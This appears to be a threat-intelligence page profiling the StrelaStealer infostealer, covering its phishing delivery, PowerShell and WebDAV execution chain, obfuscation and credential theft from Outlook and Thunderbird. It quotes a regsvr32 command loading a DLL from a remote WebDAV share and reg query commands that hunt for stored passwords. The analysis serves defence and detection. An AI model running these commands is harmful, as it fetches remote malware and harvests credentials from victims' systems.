Loading malware…
StrelaStealer, also known as Strela, is a Windows information stealer active since at least November 2022 that specializes in harvesting email-client credentials and mailbox-related data. It targets Microsoft Outlook by enumerating stored IMAP account data in the Windows Registry and targets Mozilla Thunderbird profiles for saved login material. Collected data is exfiltrated to hard-coded command-and-control infrastructure through HTTP POST requests protected with a hard-coded XOR key.
StrelaStealer has been delivered through spearphishing and malspam attachments, notably ZIP archives containing heavily obfuscated JavaScript. The execution chain relies on victim execution, launches Windows scripting and PowerShell components, and has used WebDAV-hosted DLL execution via signed Windows utilities. Payloads have also been delivered as DLL/HTML polyglot files and have used DLL side-loading with renamed legitimate executables. Variants have employed valid code-signing certificates, control-flow obfuscation, junk code, string obfuscation, and Spanish-language decoys or error messages to hinder analysis and make execution appear unsuccessful. Observed lure material and decoys indicate a historical focus on Spanish-speaking targets.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
25 distinct techniques documented for this family, organized by ATT&CK tactic.
When the JS file is executed, it spawns a child process: powershell.exe. Subsequently, a Base64-encoded command is executed via PowerShell.
The initial payload extracted from these files is typically a JavaScript (JS) file, serving as the entry point for infection.
The payload expects a x.pdf file to be present in the launch directory at runtime. This pdf is launched by the malware as a decoy to trick the user into thinking they have only opened a PDF not launched an executable.
Examples include: "Sandworm Team leveraged Microsoft Office attachments which contained malicious macros..."; "Bumblebee has relied upon a user opening an ISO file to enable execution of malicious shortcut files and DLLs"; "Lumma Stealer has gained initial execution through victims opening malicious executable files embedded in zip archives, and MSI files within RAR files."
It has recently adopted obfuscation techniques such as string concatenation, character substitution, and anti-analysis tactics... including the insertion of extensive long junk text to complicate analysis.
The new "decoy" no longer requires a PDF instead a message box is launched that says... El archivo está dañado y no se puede ejecutar
In summary, the extracted text contains a Base64-encoded payload. When deobfuscated, it reveals the PowerShell instructions shown above.
The techniques observed in the analyzed StrelaStealer sample are not unique, but rather commonly employed by various initial loaders and droppers to circumvent detection mechanisms.
cmd /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\134257976134.dll : This executes regsvr32 to silently ... register or load a DLL file hosted at the specified network share path.
The content repeatedly describes threat actors and malware using valid, stolen, forged, self-signed, or abused code-signing certificates to sign malware and appear legitimate, including examples such as AppleJeus using a valid digital signature from Sectigo, APT41 leveraging code-signing certificates, FIN7 signing Carbanak payloads, and SUNBURST being digitally signed by SolarWinds.
Adversaries may search the Registry on compromised systems for insecurely stored credentials... Example commands to find Registry keys related to password information: Local Machine Hive: reg query HKLM /f password /t REG_SZ /s Current User Hive: reg query HKCU /f password /t REG_SZ /s
AADInternals can gather unsecured credentials for Azure AD services, such as Azure AD Connect, from a local machine... Agent Tesla has the ability to extract credentials from configuration or support files... APT33 has used a variety of publicly available tools like LaZagne to gather credentials.
The content repeatedly describes malware and threat actors collecting host details such as OS version, hostname, architecture, CPU, memory, BIOS, domain, language, and other configuration data; e.g., "APT41 uses multiple built-in commands such as systeminfo and net config Workstation to enumerate victim system basic configuration information."
The command initiates the execution of the timeout.exe binary, introducing a 1-second delay.
"Bazar can query the Registry for installed applications." / "BRONZE BUTLER has used tools to enumerate software installed on an infected host." / "LightSpy ... enumerate the Applications folder to collect the bundle name, bundle identifier, and version information..." / "Volt Typhoon has queried the Registry on compromised systems for information on installed software."
Multiple malware families (e.g., Avaddon, Bazar, Clop, Ryuk, REvil, LockBit, Zeus Panda) check OS language/keyboard layout/locale and terminate or alter execution if the system matches excluded languages (commonly Russian/CIS) or does not match desired target languages (e.g., Spanish/Portuguese, Arabic, Persian).
Agrius used a custom tool, sql.net4.exe, to query SQL databases and then identify and extract personally identifiable information... AppleSeed has automatically collected data from USB drives, keystrokes, and screen images before exfiltration... Ember Bear engages in mass collection from compromised systems during intrusions.
32 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
48 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
With the release of v0.16, here are the different malware families that we cover. blister deprecated ghostpulse latrodectus lobshot lumma netwire redlinestealer remcos smokeloader stealc strelastealer xorddos
Referenced only as a malware family supported by the nightMARE analysis library; no behavior is described.
StrelaStealer is an information stealer malware that exfiltrates credentials and sensitive data from infected systems.
An infostealer focused on stealing login credentials from popular email clients. It is distributed via malspam ZIP archives containing a JavaScript loader, uses obfuscation such as long junk text, string concatenation, character substitution, and anti-analysis techniques, and executes a Base64-encoded PowerShell chain that maps a WebDAV share and remotely loads a DLL via regsvr32 or rundll32 before dropping the main payload.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.